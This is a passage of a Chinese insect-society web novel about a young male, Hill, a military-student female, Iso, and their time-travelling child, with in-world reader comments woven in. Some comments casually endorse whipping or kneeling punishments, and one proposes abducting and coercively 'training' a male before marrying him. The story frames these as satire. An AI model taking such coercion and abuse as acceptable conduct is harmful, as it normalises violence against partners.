希尔的视线在幼虫手腕的终端上多停留了一秒,是没见过的款式,很新颖。 光屏在半空中展开。 壁纸就是一家三口的合影,幼崽却没注意到这点,直接点进了相册。 雄虫的记忆力很好,哪怕只是匆匆一瞥,也足以让希尔将壁纸上的那一幕刻入脑海。 那是两只成虫带着幼崽在游乐园前的合影。 黑发金瞳的雌虫抱着幼崽,手臂上还绑着一捆五颜六色的气球,完全就是已婚雌虫带崽的模样。 幼崽抱着一个冰激凌,吃得嘴边都是奶沫,像个小花猫。 而他站在一旁,手里拿着两个情侣式冰激凌,不赞同地盯着幼崽,脸上的表情是他自己从未见过的生动。 希尔整只虫都傻了。 而幼崽还在翻相册,给他展示和介绍照片。 “这是雄父给我讲睡前故事;这是我跟雄父组队打游戏,我们击败了雌父!这是在飞船里看玫瑰星云,还有雄父画的宇宙星空……” 希尔的视线落在那张画作上。 就算前面的所有都是生成伪造的图片,这一张也假不了,他认得自己的绘画风格。 以精神力绘制的画作,只此一家,别无分号。 他不得不承认,这件荒谬无比的事情是真的。 这是一只来自十年后的幼崽。 他的幼崽。 希尔抬头看向一旁站着的伊索。 对方也正看向他。 视线相对间,两只虫都沉默了。 伊索先垂下眸,恭敬唤了声“阁下”。 伊索垂在身侧的手微微蜷缩。 低垂的眼眸里是复杂的情绪。 哪怕早已确认伊西多尔来自十年后,早已知晓他们之间的关系。 但在看到这些照片时,他内心所受到的震撼不比希尔少。 照片中的自己几乎让他觉得陌生。 那是一个幸福的家庭。 有着他所梦寐以求的亲虫。 美好得不真实。 伊西多尔不明白雌父雄父怎么突然不说话了,他疑惑地看看这个、看看那个,道: “我还有家庭记录的视频,雄父要看吗?” 希尔无力扶额,“不,不用了。” 他认下了“雄父”这个称呼。 他需要冷静一下…… 伊索适时地保持了静默,给予雄虫平复的空间。 比起雄虫并不相信、或者拒绝接受幼崽转身就走,现在这已经是最好的情况。 不是谁都能接受一个平白多出来的幼崽。 至少希尔阁下还愿意留在这里,还愿意抱着幼崽。 至于照片上那些内容……那不是现在的他该想的。 那对他来说就像一个虚幻而不真实的未来。 或许永远也不会再实现。 任何改变都会带来全然不同的结局。 而这一次,幼崽出现得太早了。 感情还未来得及产生,或许就已经消弭。 伊索并不觉得遗憾。 比起为了无法把握的感情,显然是现在实实在在的幼崽更加重要。 他只是担心……如果没有雄虫的宠爱、没有精神梳理,会影响到幼崽的健康。 而希尔想……他什么都想不出来,大脑一片空白。 雄虫引以为傲的精神力和思辨能力,在这种事情上派不上任何用场。 唯有一点很明确:他有了个幼崽要养。 这是他必须肩负起的责任。 “之后该怎么办……” 希尔很茫然。 他才19岁,他自己还是刚脱离幼崽的年龄。 却有了个三岁半的幼崽要养…… 希尔只觉得虫生一片灰暗。 伊索早已思考过种种,当即道: “幼崽需要雄父的精神梳理,如果您能定期为幼崽进行精神梳理,我和伊西都将万分感激。剩下的交给我就好,我会照顾好幼崽,不会让您烦心。” 这也是通常虫族家庭的分工。 雄虫心情好了给幼崽做个精神梳理,别的一概不管。 但希尔对此持怀疑态度,直接问他: “你照顾?你怎么照顾?你才比我大一岁,同样是学生。” 作为任务更重、管理更加严格的军校生,伊索只会比他更加没时间照顾幼崽。 伊索闻言沉默了会。 他想起伊西多尔这段时间独自待在家中,只能自己跟自己玩。 哪怕他能够通过监控时刻关注着伊西的情况,能抽空与他视频交流,也改变不了伊西身边无虫陪伴的事实。 这还是一个有基因疾病的幼崽,随时可能发病,更需要陪伴照顾。 伊索很快有了决断,平静道:“我可以退学。” “你疯了?!” 希尔不可置信。 上大学对希尔来说,只是一个离开家的合理方式,这段经历实际上可有可无,对他的虫生并没有多少影响。 但伊索不一样。 一个来自地下城区的雌虫,这对他来说是扭转未来、改变命运的机会。 军校毕业直接就是尉官,至少是少尉,以伊索的优秀完全有可能一路晋升成为上尉,甚至少校。 以此为基础进入部队,他的前途一片光明。 “这是最好的办法。” 伊索很冷静。 希尔还是觉得雌虫疯了。 就算这是他的幼崽,也是未来的幼崽。 没有亲自怀过,也没有那些养育的点点滴滴积累起来的深厚感情,就这样放弃自己的前程,值得吗? “先别这么快做决定,事情还没到这一步,我们都先冷静点……” 希尔劝道。 伊索也垂下眸,没再继续这个话题。 伊西多尔茫然看着双亲,不太明白发生什么事了。 雄父和雌父好像在吵架?又好像没吵起来? 还有什么谁来照顾他之类的…… 天啊噜!雄父和雌父不会要离婚了,在争他的抚养权吧? 伊西多尔虽然知道自己穿越到十年前了,但雄父雌父就是他的雄父雌父,这点永远不会变。 有些观念也一时转变不过来。 比如在他的潜意识里,雄父和雌父就是在一起的。 伊西多尔深知单亲家庭幼崽的凄惨,也知道没有雄虫的雌虫会很难过。 他急得团团转,紧张抱住雄父的手臂,可怜兮兮道: “雄父……可不可以不要跟雌父离婚?雌父很爱你哒,我也很爱雄父和雌父,不想跟你们任何一个分开。” 希尔愕然怔愣,张了张嘴想要解释,最终还是转为安慰幼崽: “没有离婚……” 没有结婚。 伊索也被幼崽那句话弄得很不自在。 怕幼崽惹恼了雄虫,下意识上前一步,在雄虫面前蹲下,看向被雄虫抱在怀里的幼崽。 “伊西,不要说这样的话,我和希尔阁下没有婚姻关系。” 他怕幼崽将未来的关系带入现在,会惹得雄虫生厌。 伊西多尔呆掉了。 这句话听在他耳朵里,跟“雄父雌父已经离婚了没有区别”。 “那……那我呢?” 40 雄子校草x军校生5 [希尔阁下好冷静。一般虫知道这种事情,要么吓坏了,要么只想甩开。希尔阁下居然就这样接受了,还记得善后,破坏监控和抹除记忆。] 破坏监控和抹除记忆是不对,但这可是雄虫阁下。 雄虫阁下做什么都是可爱的,只要不是什么罪大恶极的事,都能被原谅。 现实中雌虫就对雄虫要求极低。 等到了小说中,那更是低到了几乎没有底线的地步。 不管雄虫做了什么,雌虫都会主动帮忙找借口并原谅。 希尔做这些不仅不会引起读者的反感,反而会因为他的强大和贴心成为加分点。 翻墙而来的天伽再度见识到了一向重规则的虫族对雄虫的双标,默默扣了个“6”。 《教官》一文爆火。 不仅火遍了虫族,也火到了隔壁天伽族。 与虫族同出一源却意识形态完全相反的天伽,意外地对这本虫族小说接受度极高。 他们与虫族一样雌性全民皆兵,都要服兵役,对克莱尔的“教官”这个身份代入感很强。 但席安这样的军雄却是天伽绝对不会有的耀眼存在。 他们的雄性都被拘在家中,连出门都必须在雌主的陪伴下才能进行,完全没有参与社会生产的机会,更没法像虫族的雄虫一样在任何领域发光发热。 天伽们一边觉得雄性应该乖乖待在家中,认为虫族的雄虫都不安分。 一边又骨子里的慕强属性作祟,特别容易被虫族那种耀眼的雄性吸引,很想占为己有。 他们对待《教官》书中的席安就是这样复杂的感情。 甚至在得知虫族第九军团真有个叫席安的军雄少尉后,催生出了一批想去第九军团抢雄虫的天伽。 每每跟虫族军队干架,只要知道对方是第九军团的,就战意高涨,格外卖力。 《教官》这本书早已传到天伽。 虽然因为两族对立的缘故,官方禁虫族的所有文化产品,只能以禁书的方式私下流传。 但不影响它天伽军雌的口耳传播间越传越广,渐渐火遍整个天伽帝国。 自那之后,就经常有天伽偷偷翻墙去虫族看书。 尤其是知道《教官》的作者又开了新书之后,更是一窝蜂地涌了进来。 当然,大部分天伽都只是窥屏,并不发言。 一是因为星网都是实名认证,天伽根本注册不了,没有发言权限。 二是就算拐弯抹角弄到了与虫族交好种族的号,也得小心发言,一但暴露是天伽身份就会立刻被封。 于是,天伽都习惯了要么只窥屏不发言,要么就得装雌虫或别的什么种族再留评。 但天伽和虫族意识形态相差太远,装得就很不像。 经常有很伪虫的天伽被虫族读者揪出来,查封账号。 却也挡不住天伽一波波卷土重来。 [安神的新书下拟虫的家伙太多了,这些天伽怎么就爱来这里团建?] [还不是因为你们的其他书都看不下去(翻白眼)。平日里跟虫族打完仗之后,看几篇虫族雌雄小说,看雌虫被虐还挺解气的,看多了是真反胃。] [前面又钓出来一个,@管理员,赶紧处理。] 更多的读者没空关心天伽,只在意小说发展。 [希尔阁下真要去地下城区吗?雄虫怎么能去那么危险混乱的地方?] [应该没事,没有虫敢对高等雄虫下手,除非不要命了。] [地下城区不要命的虫还少吗?] [伊索把幼崽养在地下城区就很危险了,他居然还打算把雄虫带过去!S级潜力者也不能这么乱来啊!只是有升到S级的潜力,又不是真的成为了S级!] [伊索也没想到雄虫真的会来吧,他本来以为希尔阁下只是为了支开他,后面阁下真的出现时,他明显惊呆了。] [弱弱说一句,我其实也以为希尔阁下不会去找伊索了。阁下是在意幼崽的,但显然没有到非这个幼崽不可的地步,突然多了这么个幼崽,阁下的心也很乱。] [是的,阁下的心理描述一直是“虫生一片灰暗”“对幼崽没有那么多天然的感情”“头疼”“烦躁”……我都觉得阁下不会要这个幼崽了,真正面对阁下情绪的伊索只会更加不安,也更不自信。] [但阁下来了。] [阁下处理好所有事情,来找他们父子。] [谁懂我看到阁下出现那一刻的感动?] 雌虫们几乎瞬间被圈粉。 一个面对意料之外的幼崽、虽然没有多少感情但依旧愿意承担雄父责任来的雄虫,绝对是绝大多数雌虫都想嫁的理想型。 有没有爱对雌虫来说没那么重要。 就算虫族真的有真爱存在,他们也不认为真爱会落到自己身上。 一个对幼崽负责的雄虫,比什么虚无缥缈的爱意都来得真切。 照这个趋势来看,希尔有望超越席安,成为今年的“雌虫最想嫁榜”第一。 席安吃亏在还没有幼崽上。 顺带一提,上一届“雌虫最不想嫁榜第一”是安诺。 仅靠一场离婚案,就超越了所有虫渣雄虫,登顶榜一。 但在这只雄虫进入军区监狱、开始精神梳理后,他在军雌中的名声诡异地逆转了。 甚至有军雌专门建立了个与他有关论坛,里面全是恋爱脑军雌互相展示书信,每天写一些酸了吧唧的句子。 弄得外界的雌虫摸不着头脑。 现在他的爱慕者还仅限于军雌中,粉丝群体还不算庞大,但却以很快的速度增长着。 照这个速度增长下去,哪一天能在“雌虫最想嫁榜单”上看到他的名字也说不定。 那可真是个地狱笑话。 除此之外,不知是谁把作者“安”也投上了这个榜。 一个性别不明,不知道是军雌、亚雌军医还是雄虫的虫,能上这个榜,甚至在网友的起哄下投进了前十。 只能说按下投票键的雌虫没一个是无辜的。 投票的雌虫也有话说: 不就是性别不明吗?也没什么不能嫁的。只要安神愿意娶,带上嫁妆就嫁了。 是雌虫也没关系,一起嫁同一只雄虫就行,都是一家虫。反正雄虫都那样,没什么区别,嫁雄主不如嫁雌君。 再说了,连安诺那种雄虫都有粉丝,我们怎么不能把安神投上去了? 再怎么也不能比家暴犯的排名低不是? 这说的还挺有道理的。 于是更多凑热闹的虫加入投票。 …… [话说回来,小伊西的基因病是不是有救了?] [说实话,我没看懂伊西到底有没有基因病。] [不懂+1。] [这么频繁的精神梳理,看起来是有基因病的。可希尔阁下又说他精神域很完好,高等雄虫的检查总不会出错。茫然了。] 也不是没虫猜测过,是不是因为雄虫格外喜欢幼崽,才给幼崽更多的精神梳理。 可再怎么喜爱幼崽,一月一次就差不多了。 幼崽对精神梳理的需求本就不高,几年不做都没有关系。 一周七八九十次……这完全超出了雌虫们的理解范畴。 …… 【伊西多尔作为雄父雌父唯一的幼崽,理所当然地获得双亲所有的爱。 所以…… “我今晚可以和雄父一起睡了吗?” 回家的公共飞行器上,伊西多尔已经期待了起来。 “雄父睡左边,雌父睡右边,我睡中间!欧耶!” “……” 希尔尴尬抬眸,看向对面的雌虫。 伊索简直想把幼崽的嘴捂住。 他把在中间蹦跳的伊西多尔捞过来,按在一旁的座椅上,让他乖乖坐下。 给了他一个警告的眼神,不许他再乱说话。 “阁下,我很抱歉,我之后会跟伊西说清楚。” 伊索硬着头皮道。 “嗯……” 希尔应了声,并没有插手干预。 就算有着传承记忆,幼崽就是幼崽,只有着三岁半的心智。 他当然不会计较一只幼崽所说的话。 只是……有些尴尬。 希尔的视线飘向飞行器内正播放着广告的显示屏。 这是他第一次坐公共飞行器,看了会有些疑惑,为什么一直是广告?迟迟没能进入正片。 过了会,他才意识到,这就是个专门放广告的广告投屏。 这显得一直盯着屏幕看的他很呆。 希尔又默默将视线移了回来。 正好对上雌虫欲言又止的目光。 ……他发现我是个盯着广告看的傻子了。 “怎么了?” 希尔坚信只要自己不尴尬,尴尬的就是别的虫,神情淡定。 “阁下,地下城区很混乱……” 伊索犹豫着开口。他不该为了自己的私心、为了让幼崽多得到一点精神梳理,就带雄虫去那种地方。 “你不能保护我吗?” 希尔问。 就算没有保护也没关系,他是A级雄虫,如果用上精神力,没什么雌虫是他的对手。 不过也确实会有那么点害怕就是了…… 但凡是一只雌虫,在这种问话下,也不能说自己不行。 伊索:“我当然会保护您,但是那里的环境您未必能接受,以及……我家很小。” 希尔震惊睁大眼。 难道真的要睡一张床了? 很小是多小?希尔想象不出来。 伊西多尔则兴奋道:“没问题的!雄父一定会喜欢我们的家!雌父有好多玩具!还有机甲!” 希尔顿时松了口气,能放下机甲,那再小也小不到哪去。 总不至于没有能休息的地方。 他对雌虫道:“这些都没什么,我没那么娇气。也总要看过伊西的居住环境我才能放心。” “……好。” 伊索只能应下,但他觉得,他那里一定会让雄虫失望的。 公共飞行器只送到最近的地下城区入口,就不再往内。 伊索抱起幼崽,带着雄虫坐电梯进入地下城区。 希尔觉得自己坐了几百层楼那么久的电梯,久到他以为这个电梯故障了,才终于到底。 金属门在他面前开启。 他跟着雌虫走出电梯,仰头看到漆黑却又五光十色的世界,高耸的建筑鳞次栉比,各种颜色的灯牌悬挂其上,半虫化的雌虫展开翅翼,穿梭期间。 一切就像是异族拍摄的星际电影中的画面,带着很强的异域气息,荒诞怪诞,却又有着独特的魅力。 让虫难以相信这是虫族联邦中真实存在的地界。 且就在首都星的地下。 希尔看着那些半虫化的雌虫在高楼大厦中自由穿梭,不受任何拘束,在心里感叹了声“酷”。 这时,身旁的伊索对他道: “阁下,您能抱住我的腰吗?” 希尔:“??!” 41 雄子校草x军校生6 [哇啊,这只雌虫,藏不住了是吧!本性暴露了是吧(怒)!] [居然用这种方式哄骗雄虫搂他腰,太过分了!] [可地下城区都是这么飞的啊?你们没去过地下城区吧,那里的路况飞行器根本飞不了。] [就是因为这样才显出他的心机啊!把雄虫阁下哄骗到地下城区,雄虫就只能抱他了,没有别的选择。] [这么一说确实啊!好心机!] [学会了学会了,我下次也这么办。] 雌虫们一边指指点点,指责伊索的做法,一边记笔记。 [这次的教材比克莱尔更会啊。] [PS:没实力的不建议模仿哈,把雄虫弄出事来了就去星际监狱待着吧!] …… 【伊索提出这样的要求也很不自在,僵硬控制着自己的表情和肢体,于是那张冷酷帅脸看起来更冷了。 “抱住我的腰,我带您飞过去。” 他向雄虫解释。 地下城区的道路毫无规划,建筑更是千奇百怪,各种形状、各种楼间距都有,不熟悉的虫来这里绝对会迷路。 这里也不流行笨重的飞行器,驾驶飞行器来到这里只会陷入死胡同。 地下城区的雌虫更习惯自己飞。 雄虫被雌虫带着飞。 希尔想起那些建筑间穿梭的半虫化雌虫,也明白了伊索的意思。 原来是这个意思…… 雄虫也有翅翼,但已经退化,没法飞,更像是一件漂亮的装饰品,且带着很浓的求偶意味,很少有雄虫会放出自己的翅翼。 雌虫的翅翼则实用得多,它们是战场上的大杀器,是坚不可摧的盾牌,是锋利的刀刃,在平时生活中也是很好的交通设备。 在这种地方,确实只能由雌虫带着他飞。 希尔理智上很理解,情感上还是有些难以接受。 他连雌虫的手都没牵过啊…… 如果为了这种事情纠结也太矫情了。 希尔硬着头皮将手伸向雌虫的腰。 伊索的身材很好,肩宽腰窄胸大,又穿着紧身的日常训练服,身材的优点被放大得特别明显,手臂将他腰全部环住的感觉很奇妙。 轻贴上去,浅淡的信息素透过衣物传入口鼻,味道像晨风或薄雾。 第一次跟雌虫靠这么近,希尔正晕乎着,就听到什么破空展开的声音。 黑色的翅翼从雌虫身后展开,带着震撼虫心的力量。 希尔还没来得及看清,雌虫就已经带他飞了起来。 身体骤然一轻,风吹过脸颊,五光十色的幻影从身旁掠过,耳边只剩下嗖嗖的风声。 雌虫一手抱着幼崽,另一只手臂揽着他,将他的脑袋压向胸口,避免他的脸被风吹到。 希尔的口鼻陷在温软里,身体僵硬到极致。 伊西多尔凑过来,用细嫩的脸颊贴了贴他的脸。 “雄父不怕,伊西会保护雄父。” 希尔:“……” 他们像两个埋在雌虫身前喝奶的幼崽。 希尔羞耻得又将脸埋了下去。 不知过了多久,似乎有一个世纪那么长,又似乎只有短短半分钟,雌虫的速度放缓了下来。 耳边是伊西多尔高兴的声音。 “到家了!到家了!雄父我们到家了!” 希尔抬头去看,只见一架立于空旷之地的黑色重型机甲,以及围绕着机甲而建的各种低矮建筑。 说是建筑已经太抬举它们了,那些屋子像是星际时代前的危房或者窝棚,完全超出了希尔的认知。 ……要住这种地方吗? 希尔表情僵硬。 他已经想到了他们三只虫一起挤在连门都没有的小破棚子里,外边的虫从前边路上走过,就知道他们在棚子里办什么事。 这个想象太过恐怖,他要连夜叫他雌父来接他回家。 他真的要报警了。 好在恐怖的猜测没有成真,雌虫带着他飞向那架黑色古朴的重型机甲。 舱门打开,将他们接了进去。 脚落在实地,旁边的幼崽也跟着跳了下来,笑声清甜。 “终于回来了,雄父要喝点什么吗?我去给你拿饮料!” “清水就可以……” 希尔下意识回着,茫然环视四周。 这里是机甲内部…… 这就是雌虫所说的家? 雌虫说他家很小,是指机甲内的舱室小。 幼崽说家里有机甲,其实是住在机甲里,是机甲里有家。 就说有没有机甲吧! 至少不是住窝棚。 有了刚刚的低预期后,希尔现在觉得住机甲里挺不错的。 而且很酷,放在雌虫中是绝对会被所有虫羡慕的那种。 哪怕希尔身为雄虫都觉得这很新奇。 希尔环视一圈,收回视线时,发现自己还环抱着雌虫的腰没放手。 雌虫也僵立在原地没动,等待着他回神。 “您还好吗阁下?很抱歉吓着您。” 伊索真心为此感到抱歉。 他不知道雄虫的身体承受能力如何,已经按照幼崽的标准放缓了速度。 但这对第一次经历地下飞行的雄虫来说可能还是太惊吓了。 “没、没事……” 希尔连忙收回抱在雌虫腰上的手,后退一步,指尖还能感受到温热的触感残留。 “休息室在前面,您这边请。” 伊索很礼貌,也很客气。 这是雌虫对待雄虫的一贯态度。 希尔在他的引领下往前走。 机甲内部的生活空间确实不大。 一间日常起居活动的休息室兼厨房。 一间卧室休息舱。 还有一间卧室对面关着舱门的……大概是儿童房。 希尔在休息室唯一的沙发上坐下。 幼崽给他端来水,跟他分享零食,还把复古游戏手柄也拿了过来,一脸期待地看着他。 “雄父你要吃什么玩什么吗?” 伊索也候立一旁,金色的眼睛静静注视着他,等候他表达需求。 希尔想,他现在就算是提一大堆无理要求,雌虫也会立刻去做。 为了他的幼崽。 雌虫对幼崽的在意无比明显。 这是他的软肋。 “不用,什么都不用。” 希尔拉过活泼得过分的幼崽,让他在旁边坐下,转头对伊索道:“你也坐。” 这是个长沙发,坐得下。 伊索犹豫片刻,还是依言坐下。 跟雄虫之间保持着一定的距离。 希尔觉得自己失策了,他应该把幼崽放中间的。 至少能缓解一下尴尬。 “我们来聊聊伊西的事。” 希尔深吸了口气开口。 “嗯。” 伊索安静等待着雄虫后面的话,面上依旧是那副没什么表情的平静模样,只有紧绷的身体肌肉和许久没有眨动的眼睛暴露了他紧张。 伊西多尔乖乖坐在一旁,吸着乳果汁,听双亲讨论。 他安静下来模样倒跟他雌父有些像,只是比他雌父放松得多。 “我是他的生理雄父,他的精神梳理我会负责。” 希尔摸了摸伊西的头,说着又看了眼旁边的雌虫。 如果对方需要精神梳理,他也会出于虫道主义和合作关系,为他进行梳理。 伊索闻言重重松了口气,感激道: “太感谢您了,您如果有什么需要,请跟我提,我一定会为您做到。” 雄虫的给予从来都不是免费的,反而很昂贵。 伊索深知这一点。 但为了伊西,为了与他血脉相连的幼崽,他愿意付出一切去换。 希尔还真没有什么需要的。 雌虫能给雄虫的就那些东西。 金钱吗? 他不缺钱,如果他愿意出售画作,他的每一幅精神力画作都能给他带来无上的财富。 就他们之间这经济差距,谁给谁钱还不一定。 不过他也确实愿意承担起幼崽的抚养费。 权势吗? 再过个几十年,伊索或许能给他提供,现在就算了吧。 那么……身体? 希尔的大脑短路了一瞬,想到被抱着飞行时脸埋进去的柔软触感。 随后很快就将那画面抛出脑海。 他又不是什么好色虫。 他承认伊索很帅气,身材很好,让他有想拿起画笔的冲动。 但也仅此而已。 他欣赏美,但并不一定要占有美。 “我没有需要的东西,以及,伊西的抚养费我会出。” 希尔道。 “不,这怎么能让您出钱?我养得起伊西,您不用担心。” 伊索连忙道。 雄虫不提出需求已经让他很不安了,怎么可能让雄虫再出钱。 而且他并没有看上去那么穷,他一场比赛能赚很多星币。 只是之前都把钱烧机甲上了,没攒下来多少。 现在有幼崽要养,还有雄虫的开销他肯定也需要负担起来。 哪怕他和雄虫之间并没有婚姻关系,但有跟幼崽那层关系在,这也是他需要做的,是雌虫最基础的责任。 更何况取悦雄虫本身就需要花很多钱。 为了幼崽,也为了供养雄虫,他会赚更多钱,把钱攒下来。 42 雄子校草x军校生7 [什么意思?伊西其实没有基因病?] 希尔阁下的这句话出来,算是彻底给这件事盖棺定论了。 可读者们却更加不解。 [伊西说谎了?] [他头疼的样子确实假,但数次数的样子很真实。] [有传承记忆的虫族幼崽,就算心智再稚嫩,也不至于记不清次数。] [不管怎么说,幼崽没有基因病是好事,但希尔相当于是被骗过来的,没有雄虫能容忍欺骗。] 说到这里,书评区的气氛都有些低迷。 他们已经能想象到雄虫动怒的后果。 [最好的情况是伊索抗下雄虫的怒火,护住幼崽。以成年高等雌虫的自愈力,只要不损伤根本,都能恢复过来。] [伊索家在地下城区,又是在重型机甲里,一定有很多武器,希尔阁下能罚个尽兴,等气出了就好了。] 话是这么说,所有雌虫都能想象到那会是多么难熬的一夜。 现在只能祈祷机甲舱里的隔音够好,不会吓坏幼崽。 雄虫们:“???” 怎么又进入血糊糊模式了? [不是?早在酒店里希尔就发现幼崽的精神域没问题了,他还是主动提出跟伊索去地下城区。他要是真很在意这件事,早就爆发了,还会等到现在?] [当然,罚还是要罚的,抽一顿就好了。] [希尔还是个学生呢,都没用过鞭子吧?别甩伤自己了,让跪一晚差不多了。] [还是超一顿比较好,肩宽腰窄的S级潜力者呢,又是在地下城区这种危险的地方,不管是为了自己的安危还是为了别的,都赶紧标记了比较安心。] 雄虫们就各种惩罚方式进行讨论。 总之罚还是要罚的,但也不觉得这是件多么大的事,没必要弄得太凄惨。 [真是疯了!地下城区这种没有规则管制的地方,谁罚谁还不一定呢!赶紧把那只高等雄虫上了! 拿走通讯设备,戴上精神抑制器,调.教个十天半个月,然后带出去领证结婚,之后就能光明正大藏在家里!到时候既有幼崽玩,又有雄虫睡,完美!] [……] [我就说现在星网上的伪虫越来越多了吧?] [@管理员,这种伪虫的评论怎么过审的?赶紧删了,别吓着雄虫阁下。] [星网都被这群翻墙看文的天伽钻成筛子了(翻白眼)。] [元帅什么时候去把天伽打下来?我实在忍不了这群家伙。] [这可不兴打下来啊。打可以,打下来就要合并治理了,到时候全虫族都是这种天伽病毒(嫌弃)(口区)。] 虫族对天伽的看法很一致:病毒,暴力狂,屠夫,罪犯……最好全部灭绝。哦,雄性可以留下。心软关怀受虐小雄性。 天伽对虫族的看法也很一致:有病,受虐狂,傻缺,被雄虫小宠物踩头上作威作福,奴隶,但是难打,硬骨头……雄虫好看,眼馋,就是太烈了,但更能激起天伽雌性的嗜血和征服欲……迟早把他们统一了。 要不说是死敌呢。 从血脉相近的虫后分支分裂而来,最后却走向全然不同的道路,还同样成为了宇宙中的大BOSS。 虫族和天伽之间的纠葛远比其他种族更深更难解。 哪怕是面对同一本小说,双方的反应都能让他们掐起来。 …… 【“好晚了,伊西宝宝该睡了,困困。” 伊西多尔放下乳果汁,伏在希尔膝上撒娇,眯眼打哈欠的样子能把虫心萌化。 但可惜,这里坐着的不是养育了他三年半的雄父雌父,而是大学生带崽版希尔和伊索。 萌归萌,但希尔可不会管幼崽该几点钟睡觉。 反正虫族几天不睡也没什么。 “伊西,你还头疼吗?” 希尔轻捏小幼崽的后脖颈问。 被遏住命运的后颈的伊西多尔乖巧道: “现在不疼,但看不到雄父会难过,难过就头疼。” 伊西多尔不说谎,但选择性地说一些事情,或者把某些内容夸张化,这是幼崽为了争取关注惯用的伎俩。 希尔正要开口,旁边的雌虫却砰一声跪下来了。 希尔:“???” 伊西多尔:“??!” “希尔阁下,您要罚罚我吧!是我误判了伊西的情况,擅自将您约出来。” 伊索紧盯着雄虫按在幼崽后颈的手,急得面无血色,恨不能以身替之。 想要拿自己去把幼崽换出来,承受雄虫的怒火。 “……你先起来。” 希尔内心受到了一万点惊吓,若不是幼崽还趴在他膝盖上,他已经从沙发上弹起来了。 伊西多尔茫然眨眼。 同样无法理解现在的情况。 发生什么事了? 雌父为什么跪了?他从没见过雌父跪。 雄父要罚雌父? 天啊噜,他遇到其他小幼崽口中的家庭体罚了吗? 伊西多尔赶紧抱着雄父的腿干哭: “雄父不要罚雌父,罚伊西就好,伊西去给雄父洗裤子。” 这是伊西多尔对惩罚的认知,他撞见过雌父被雄父罚手洗裤子。 “你在说什么?谁要罚他了?什么洗……” 希尔面红耳赤去捂小幼崽的嘴,最后干脆把幼崽往雌虫怀里一塞,让他们都起来,抱着幼崽一边去。 伊索起身,自觉抱着幼崽在雄虫身后罚站,并捂住了幼崽的口。 伊西多尔在雌父怀里茫然眨眼。 雄父好像真生气了。 他觉得他可以跟雌父商量一下,他们一虫洗一半的裤子。 如果问题更加严重,雌父被雄父赶出卧室,他也可以把他的小床分一半给雌父。 不对,现在的家里只有一个卧室一张床,完啦,他和雌父得挤沙发了! 希尔在房间里来回踱步,莫名燥热。 两只雌虫如出一辙的金色眼睛都盯着他,跟着他移动。 希尔:“……” 他深吸一口气,回过身来,面对着两父子。 “该罚的还是要罚,小幼崽的胡说八道也不能纵着,需要教育,谁也不能代替谁受罚。” 伊索的眼瞳顿时一缩。 不算明亮的机甲休息室中,雌虫一双黄金瞳几乎变成竖瞳。 希尔都感受到了骤降的气压。 冷面酷哥,但溺爱幼崽。 为了幼崽能向素不相识的雄虫下跪。 还允许那只与他毫无关系的雄虫对他降下惩罚。 明明他才是这里武力值最高的。 如果他不愿意,希尔连幼崽的一根头发丝都动不了。 希尔心情复杂,顶着压力叫道:“伊西多尔。” “唔……到!” 被叫全名的伊西很紧张,赶紧挪开雌父捂在他脸上的手回复。 “罚你把剩下的乳果汁喝完。” 希尔绷着脸道。 伊西多尔秒理解了这个惩罚。 立刻翻身从雌父身上跳下来,动作灵敏。 绕过沙发,拿起桌上剩下的半瓶乳果汁,一口气吸完,然后晃动瓶子倒过来,向雄父展示自己喝得很干净了。 “很好,回房睡觉吧。”希尔点点头道。 伊西多尔乖乖听话回房间,路过雌父时给了他个自己保重的小眼神。 伊索:“……” 伊索呆愣愣地睁着眼,对现在的情况理解无能。 喝完乳果汁,这是惩罚吗? 希尔的视线落到伊索身上,雌虫下意识绷紧了身体,与他目光相对。 “你不用这样对我。” 希尔无奈道:“我们并没有婚姻关系,你根本不用服从我。” 伊索盯着他看了会,开始脱衣服。 “您要标记我吗?如果标记能让您确定您对我的掌控。” 他需要让雄虫安心。 献身给一只并不了解的雄虫,这对伊索来说有点心理障碍。 但如果是为了幼崽,那就什么都没有关系。 “不是?等等!” 希尔赶紧冲上去,按住雌虫的手。 雌虫穿的是日常训练用的紧身衣,只能从下往上脱,就这一会的功夫,衣服已经被他撩到胸口。 雄虫和雌虫间的身高差,让希尔的眼睛不知该往哪看。 他只能忍着羞耻帮雌虫把衣服拽下来,好像还弹了一下。 希尔脸都快冒烟了,埋头把脸埋进手心平复情绪。 伊索也只是一只二十岁的年轻虫,在此之前,他甚至没跟雄虫共处一室过。 先前为了幼崽献身,大义凛然,满脑子奉献牺牲,不觉得有什么。 现在看到雄虫泛红的耳尖,他才发觉这会气氛的旖旎。 封闭的房间,年轻的雌虫与雄虫,明明什么也没有,却仿佛已经萦绕起了信息素。 伊索也跟着燥了起来,素来冰冷的面上发起了烫。 “抱歉,阁下,我并不是有意冒犯。” “没事……” 希尔平复下面上和身体的热意,抬起头,强压尴尬对雌虫道: “我理解你对幼崽的在意,但幼崽也有我的一份,也请你相信我,我不会弃伊西于不顾。” 不用献身,也不用标记。 不用做这些多余的事情,自己也不乐意的事情。 “嗯,很感谢您,希尔阁下。” 伊索很感激,真诚道谢。 却也意识到,雄虫对他并没有生理上的兴趣。 他们可能再也无法成为伊西口中那样的幸福家庭…… 他们只会是养育幼崽的合作者。 这已经是之前的所有预想中最好的情况了。 伊索不明白心中的那一丝酸涩和遗憾从何而来。 墙上的复古时钟跳到0点。 时间已经很晚了。 “您要留宿吗?”伊索问。 意识到雌虫邀请雄虫留宿有歧义,又赶紧补了句: “主卧有大床,新买的,您可以睡那,一只虫睡。” 是为了幼崽新换的床。 43 我是创世神,V我50 首都星。 庄园。 繁花盛开的花园里,雄虫枕在军雌雌侍腿上,听雌侍给他念最新发表的小说。 阳光下,雌侍金橙色的头发比太阳还要耀眼。 声音也特别好听。 “希尔做了个噩梦……” “伊索向他引荐:‘这是我看中的军雌,您一起娶了吧。’ “他就像他雄父那样说:‘好啊好啊。’” 故事念完,花园里的两只虫都沉默了。 雄虫茫然眨着眼睛,不解道: “为什么希尔觉得这是噩梦?这不是很好吗?我们不是相亲相爱的一家虫吗?” 他们可是首都星上层圈里出了名的幸福家庭,能被当成优秀模范宣传的那种。 金发雌侍也很不解。 他只能站在雌虫的角度猜测: “可能希尔阁下以为我会夺走您对雌君的关注?抢走您的宠爱?” “啊?这样吗?” 雄虫坐起身,认真想了想,思忖着道: “那我以后多去雌君房里?” 他说着,语气有些不太自信。 会被赶出来的吧? 他雌君大他两百岁,而且是工作狂。 找雄虫结婚纯粹是为了精神梳理和生蛋。 生下希尔后,他就更加放心地投身于事业。 他去找他求欢,都得提前申请。 还得看他雌君心情和工作忙不忙。 